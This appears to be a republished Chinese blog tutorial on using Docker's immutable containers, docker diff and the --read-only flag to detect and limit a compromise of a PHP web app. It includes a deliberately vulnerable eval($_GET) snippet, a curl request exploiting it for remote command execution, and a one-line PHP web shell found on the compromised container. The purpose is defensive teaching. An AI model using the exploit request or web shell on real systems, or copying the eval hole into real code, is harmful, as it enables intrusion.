Docker容器的好处之一,就是它们都是不可变的(immutable)。Docker内置了一个copy-on-write文件系统,这意味着基础镜像无法被修改,除非你明确的发起一个commit。
它的作用之一,就是让你可以轻松的检查drift,在你尝试调查安全事件的时候,它会为你提供方便。
Demo程序
我们用下面这个基础设施来举例:
这个系统的前端是一个PHP程序,后端数据库使用的是MySQL服务器。你可以通过下面的代码来进行尝试:
➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack
在配置好前端和数据库之后,你应该会看到下面这个提示:
很不幸,和其他PHP程序一样,这个程序也有一个远程代码执行漏洞:
if($links) {
<h3>Links found</h3>
...
eval($_GET['shell']);
?>
看上去有在偷偷使用eval。任何攻击者都能够使用这个漏洞,并且在远程host上执行任意指令:
➜ curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="
uid=33(www-data) gid=33(www-data) groups=33(www-data)
任何攻击者都可以通过下载PHP shell和toolkit对你的网站进行攻击,有的攻击者甚至还会更改你的网站设计:
修复
我们接着再来看不可变基础设施,这个东西能让我们清楚的看到系统上所有出现过的变更。使用docker diff命令,我们就可以看到攻击者在系统中都做了哪些修改:
➜ docker diff pensive_meitner
C /run
C /run/apache2
A /run/apache2/apache2.pid
C /run/lock
C /run/lock/apache2
C /var
C /var/www
C /var/www/html
C /var/www/html/index.html
A /var/www/html/shell.php
看起来攻击者不仅修改了我们的index.html,还下载了一个php-shell。现在我们最主要的工作,就是让网站重新上线。
使用docker commit,我们可以将这个镜像保存,以供日后参考,而由于容器是不可变的,因此我们只需要重启容器,就可以让网站重新上线:
➜ docker commit pensive_meitner
sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3
➜ docker kill pensive_meitner
➜ docker run -d -p 80:80 --link db:db diogomonica/phphack
我们现在再来看那个保存下来的镜像,看看攻击者究竟都修改了什么:
➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh
# cat index.html
<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>
# cat shell.php
<?php
eval($_GET['cmd']);
?>
貌似我们被著名的SUPER ELITE GROUP OF HACKERS攻击了。 ¯\(ツ)/¯
增加黑客攻击成本
在被攻击后查看攻击内容是一个很实用的功能,但是如何才能避免被攻击?这个时候--read-only就要发挥作用了。
--read-only会让Docker不允许任何在容器的file-system内进行写入操作。它可以避免index.php被修改,更重要的是,它不会允许攻击者下载php shell,以及任何其他对于攻击者来说有用的工具。
我们下载来试验一下:
➜ docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack
...
172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48"
sh: 1: cannot create index.html: Read-only file system
由于我们的文件系统现在是只读状态,因此攻击者无法修改index.html�
这个方法能阻止左右攻击吗?
肯定是不可以的。在我们能够修复RCE漏洞之前,攻击者依然可以在host上运行代码,偷取我们的权限,在数据库中盗取数据。但是尽管如此,我们毕竟通过这个简单的方法提升了黑客的攻击难度,让系统变得更安全了一些。
总结
系统的安全性永远无法达到完美,但是使用不可变基础设施能让我们更快的进行响应、修复。
原文来自:SDK.cn
声明:所有来源为“聚合数据”的内容信息,未经本网许可,不得转载!如对内容有异议或投诉,请与我们联系。邮箱:marketing@think-land.com
支持识别各类商场、超市及药店的购物小票,包括店名、单号、总金额、消费时间、明细商品名称、单价、数量、金额等信息,可用于商品售卖信息统计、购物中心用户积分兑换及企业内部报销等场景
涉农贷款地址识别,支持对私和对公两种方式。输入地址的行政区划越完整,识别准确度越高。
根据给定的手机号、姓名、身份证、人像图片核验是否一致
通过企业关键词查询企业涉讼详情,如裁判文书、开庭公告、执行公告、失信公告、案件流程等等。
IP反查域名是通过IP查询相关联的域名信息的功能,它提供IP地址历史上绑定过的域名信息。